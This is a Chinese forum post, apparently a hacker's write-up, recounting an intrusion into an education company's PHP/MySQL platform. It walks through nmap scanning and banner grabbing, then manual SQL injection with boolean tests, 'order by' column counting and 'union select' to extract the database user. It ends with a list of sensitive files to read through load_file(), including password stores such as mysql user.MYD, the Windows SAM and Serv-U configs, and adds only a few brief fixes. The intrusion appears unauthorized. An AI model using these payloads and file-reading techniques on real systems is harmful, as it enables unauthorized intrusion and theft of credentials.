找回密码
 立即注册
查看: 2919|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:
9 W0 f! r7 p9 R3 b! E一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……4 G% ?! ?4 p% w  B5 Y* r
第一步:获取需要的信息
0 x9 m6 P; K: G( r2 z由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
( O* e& H; y6 I; L; H9 l注:以下为保护特用XXX代替敏感信息
3 _5 f# F! f4 ~, z顺手先PING了一下他们的域名:' i+ s( Y; f, _. [, o, R
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
' T4 e% d  c$ Q64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
8 r9 B% S: q+ R9 q) H' `" C顺便了解一下TTL,学好基础知识才能一路顺风:- Z) ~8 K  ^3 D
TTL:(Time To Live ) 生存时间
& F7 J. x/ q) U5 N# w指定数据包被路由器丢弃之前允许通过的网段数量。
7 U, }8 C, _, ~' m8 q- MTTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
) }- w* \; N6 o6 \使用PING时涉及到的 ICMP 报文类型( c0 C  j$ [; |% R4 W) x6 M) w
一个为ICMP请求回显(ICMP Echo Request)
' j% W8 n% A- R! F一个为ICMP回显应答(ICMP Echo Reply)0 p! n: L* A8 r3 E
TTL 字段值可以帮助我们识别操作系统类型。
" n/ C6 |3 {0 DUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 2553 Z* V1 D2 g8 L% B
Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64* ^2 D) a1 D5 T7 P( o0 K
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128% `' e$ ?7 _4 Q) o
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32& K! N; r8 e6 L1 C3 o
当然,返回的TTL值是相同的
2 }$ {7 Z& a3 U% t" Z# X0 J' L) [! T但有些情况下有所特殊4 S, F5 X# t: L1 U* Z( Y
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
0 M( a. i4 Z- Z2 M& ?) j5 M/ OFreeBSD 4.1, 4.0, 3.4;
' `* U& n' s9 Y7 [" d2 z  \Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
0 |+ y7 E  M& ^2 N1 qOpenBSD 2.6, 2.7,
1 }8 c5 M# b7 ~! {8 M/ lNetBSD
0 L" t/ V5 ^; W% d* t- i0 qHP UX 10.20. ]6 d1 e7 |$ ~& j: G* E; b
ICMP 回显应答的 TTL 字段值为 255$ j  v' Z/ o6 x0 J7 [4 S* T
Windows 95/98/98SE
+ {- v2 M; Q; Q6 i6 C, M% KWindows ME
/ g1 t& t6 S6 {+ y1 ?8 vICMP 回显应答的 TTL 字段值为 32) v' i/ l' N1 V, K
Windows NT4 WRKS/ D; ^4 ]' z9 W7 X8 T5 ~; E
Windows NT4 Server
9 E/ Y, |' ?) I9 b1 |) @( t- CWindows 20009 P5 v# J# w+ g0 i- C& |
Windows XP0 ^6 B" W1 c. ^4 Q/ j$ c
ICMP 回显应答的 TTL 字段值为 128/ v! {! g0 }+ B3 b& r' r$ U
这样,我们就可以通过这种方法来辨别操作系统
: \$ k- d. O0 _3 ?& k$ lTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
2 V4 i8 F2 k6 e( K/ h# F用NMAP扫描一下:
9 e1 L% i& J# a) l& f: [( R/ {4 unmap -sT -O XXX.XXX.XXX.XXX: R+ c: @8 h7 z- B1 V4 |$ A
如果没有装WinPcap则会弹出提示:
0 y. {& H. U7 B! R2 h) c1 nWARNING: Could not import all necessary WinPcap functions.  You may need to upgr
2 T; z  p- o+ ?6 l8 o( J% D, y# dade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(/ ?6 j8 f% V$ t5 ^& F. S9 ]
) mode — Nmap may not function completely
& b6 {$ L* W( j$ z) Z& k- [0 OTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
6 Z+ n9 m$ ~- w2 x4 m# gand iphlpapi.dll be installed. You seem to be missing one or both of these.  Win2 T3 V1 E: i1 F6 R! G% E
pcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an
3 |3 H6 b5 V' I3 ~, ad later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v
& d# w8 G7 G/ S: q, Nersions, you may be able to take iphlpapi.dll from another system and place it i
" j! P( T1 n0 [. ~& S2 j6 Fn your system32 dir (e.g. c:\windows\system32).
' A5 [6 g! d5 M- D+ q9 EQUITTING!5 A& Q9 M. S! m0 V& f3 R. g) h% v
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
+ q6 W& X5 d6 E/ P. l安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:! j3 J& Q+ X1 Q! w* p& r1 a
Interesting ports on XXX.XXX.XXX.XXX:9 N8 b# z' L* W' o
Not shown: 986 closed ports% O/ e& o7 ]/ }5 b; `0 y, |* h
PORT     STATE    SERVICE; O+ a  s; x" t# Z
21/tcp   open     ftp+ }, d0 U2 H3 U7 [. f
22/tcp   open     ssh
& U9 h7 P5 B5 C% W7 r2 \23/tcp   open     telnet. w3 P3 _- L7 e  Z' i& L, H
80/tcp   open     http  x1 H" H3 j. A5 Y
111/tcp  open     rpcbind5 d  ]  C2 \, K! s1 f
135/tcp  filtered msrpc( }3 N% ^- U" g
139/tcp  filtered netbios-ssn4 r8 D& h" \0 X, Y7 W0 N8 t
445/tcp  filtered microsoft-ds: T( j; K' [) O: X, u- y
513/tcp  open     login
) G$ s( K  d4 K0 V. P. r514/tcp  open     shell5 O+ F& Q; _' [" e( r4 X
593/tcp  filtered http-rpc-epmap# [; _/ J6 M7 ~6 ]* Q" d8 d4 Q
1720/tcp filtered H.323/Q.931
. I& S& ?0 v4 l. J4 |# I4 X6 T' p3306/tcp open     mysql8 e- t, X* M! Y# X0 z. G
4444/tcp filtered krb5242 g  g/ |  t: t2 f/ o5 s
Device type: WAP
0 w, @3 C% [; m1 ]+ RRunning: Linux 2.4.X0 ]& b: I2 j1 k! S0 @+ P, I3 g2 Y
OS details: DD-WRT (Linux 2.4.35s)
* W" M+ X8 c7 Z1 C! v. hNetwork Distance: 13 hops0 [/ K9 P: S+ S+ t
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
) R6 b* q% {5 f3 F, xlogin as:
3 A& w9 v8 z: M' ZTelnet23端口也是开着的,用telnet 命令链接一下:2 X7 M& `- i! T$ n) t: a, n
telnet XXX.XXX.XXX.XXX
# k5 O' H' Z8 \, @0 b2 W# u4 h; `0 e提示:
& j/ v" \2 O6 A- b  FRed Hat Enterprise Linux Server release 5.2 (Tikanga)7 S; d1 L: g0 R8 R0 T
Kernel 2.6.18-92.el5PAE on an i686
$ @# v) D  F) Plogin:% U; \# U6 u1 x7 Z* {
获取HTTP头信息:
) b' G0 E8 X4 D* e在本地执行如下PHP代码
* [* Z& t, `- z) L5 P<?php
, R. s2 d* ?" E' V$url = ‘XXX.XXX.XXX.XXX’;2 K+ K1 m: T( E. K9 m+ Y& h; N* V
print_r(get_headers($url));
& X6 O# s/ s$ X# k# V9 H5 A% Aprint_r(get_headers($url, 1));8 {5 w; e/ [- S2 ?, _$ }
?>
" b' S9 e7 P0 k2 z  a将以上代码保存为PHP文件,执行:. ]& N7 p/ L2 n& {! V( v! J
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )( `0 P% h' q% K  S" ]* s9 |7 _4 n' {5 B
现在可以得出结论:
! f, J* a8 H9 g6 ~, O系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
; K9 E% J' u  Q内核版本:Kernel 2.6.18-92.el5PAE on an i686
9 Z: @6 T4 p% o3 _WEB服务器版本:nginx/0.7.61
; m  `, V( m" Q( M; S5 O9 O第二步,开始测试寻找漏洞
& M0 F2 N: K$ c  b" F$ C- N分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
7 P5 x& e7 W% Q9 c$ n1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的6 V  y; Z+ f. @5 ?7 K$ h0 D
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
5 X: \- }4 J" N4 S, z. n3 h7 I# Whttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常* Y+ [, L4 ?2 A  b! t9 E" ?
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误) z) v- K8 g- p  T2 Q' i
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续7 m4 O4 o: w% F, ?  Q
3、手工注入:
! h0 f& Z( ]- r/ _; L$ o7 U& G注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
3 u: r1 d2 O6 T7 ~' L  [3.1 猜测当前表字段数
& @, @- x. e4 o# d4 n" W8 ehttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10& S; m3 X$ d3 q" y2 O- f2 Q
此处猜测有个简单的算法,都是有技巧的吗,呵呵; t* ^' ~: e1 H6 z" O
算法简单如下:6 P5 `) V' \0 G2 a
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
  S9 ?7 D" H& V) b0 J- b第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
0 m! @* l) g1 q) i需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。3 y% Z0 F$ D* o1 P7 @. J5 A: u, N% P
以此来判断,是否过界,配合取中算法猜出字段数。
/ d1 j- h1 @6 I1 @7 Y! ^举例:
- w) ^$ k& l0 k. Q3 Q8 Ohttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常+ [+ h  P% x' Y/ V  C1 p' |& [
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
' d" S, i$ t3 S此时3则为我们要找的字段数。* |5 X! k: a% r$ G9 t
3.2 配合union联合查询字段在页面所位置8 A6 U/ `. x* {2 g4 T& a
我们已经知道了字段数为3,此时则可以做如下操作:& `+ s6 k/ M: T" [3 r& s% X% E
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
* ]5 y' e7 I! }2 e, W' o# J$ \1 k. r6 l
这样就可以测试到哪些字段在页面上有所显示了,如图:/ u# o; |: S' |, D0 j, w0 M: |' F) K+ L

& P: u- J: W; g& u3.3 查敏感信息* P3 p" z* H( H+ I
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
; R4 I* T/ I8 r+ y6 qhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
# H! x3 S8 a8 d: G* u) U4 y3.3.1 先查数据库用户、数据库名,以备后用,如图:
1 I' L! T& p0 P  Z" L$ B8 J2 ^" V6 I: I( W0 I- C: G
得到数据库用户为root、数据库名为DBxx;
% C( v1 i  n. \+ G+ `/ D3.3.2 查配置文件9 K- S  a  ~& Q" s
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。- q+ W5 E. b; P; Y8 b% K* @2 Q
查看文件有一定的条件限制:
4 N4 l0 Z& q; y* \欲读取文件必须在服务器上
4 m, l0 d+ Y( b9 y* B/ \1 I必须指定文件完整的路径
, c. h& h9 Z; p: }) a' A必须有权限读取并且文件必须完全可读  [. c/ k3 v; b) z# m( G5 Z
欲读取文件必须小于 max_allowed_packet& v+ r; d0 H9 z6 V/ X  h
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。9 y/ c8 n, T+ S4 T" J, K
常用的一些:
& v, n' ^, W$ y0 D( b' m/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件9 v; m8 Z0 K2 Z; ^, t7 X# F4 k6 O
/usr/local/apache2/conf/httpd.conf
. r# p) n3 K2 s3 |/ p! C/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
+ i3 V* f. O- M- A2 \/ I: q/usr/local/app/php5/lib/php.ini //PHP相关设置; T3 e/ D. ^' u# A
/etc/sysconfig/iptables //从中得到防火墙规则策略
# `9 `+ V5 K( k/etc/httpd/conf/httpd.conf // apache配置文件
7 Y8 F" j% s- F: U6 O% E6 r/etc/rsyncd.conf //同步程序配置文件
6 q: ]4 e, u: I/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
, L9 L: Y8 K( @: A/ Z+ l/etc/my.cnf //mysql的配置文件9 f! Z4 r) d# L" f' H
/etc/redhat-release //系统版本' }+ j* O# |" h8 T
/etc/issue6 G3 o9 D5 e$ k4 G) K
/etc/issue.net3 F8 a' J8 Z1 k& O% j. Z, F4 _
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码& N" F9 k8 Z4 _: ^9 ?
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
# R( I: L1 q* p0 |c:\Program Files\Serv-U\ServUDaemon.ini7 e9 f% \7 r3 [7 b. [
c:\windows\my.ini //MYSQL配置文件
1 T4 J9 V* W. f$ K0 Tc:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
# A# @. F9 s  A0 a( i6 a; h等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,% R: Q' `6 x1 C
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
$ V8 m( i  D/ _, g+ T  b" Z0 ?c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
, q1 [# W0 z- k; w6 Qc:\Program Files\RhinoSoft.com\ServUDaemon.exe% y/ ^2 e: A) w: D% \. |
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件1 W& T& Q) f" f1 H9 h
//存储了pcAnywhere的登陆密码( w- z" _: F1 `$ q
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。5 L1 |5 c$ b5 }$ G: q
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。+ \3 Y" r& Q9 h; q0 ~
最后:防范措施5 @! w" w6 w8 @7 u( b  Y
1、修复PHP注入漏洞;3 {  o7 L2 E7 I9 X5 E' c
2、Mysql使用普通权限的用户;
, c# d, y0 N8 H9 J- X' o6 U3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表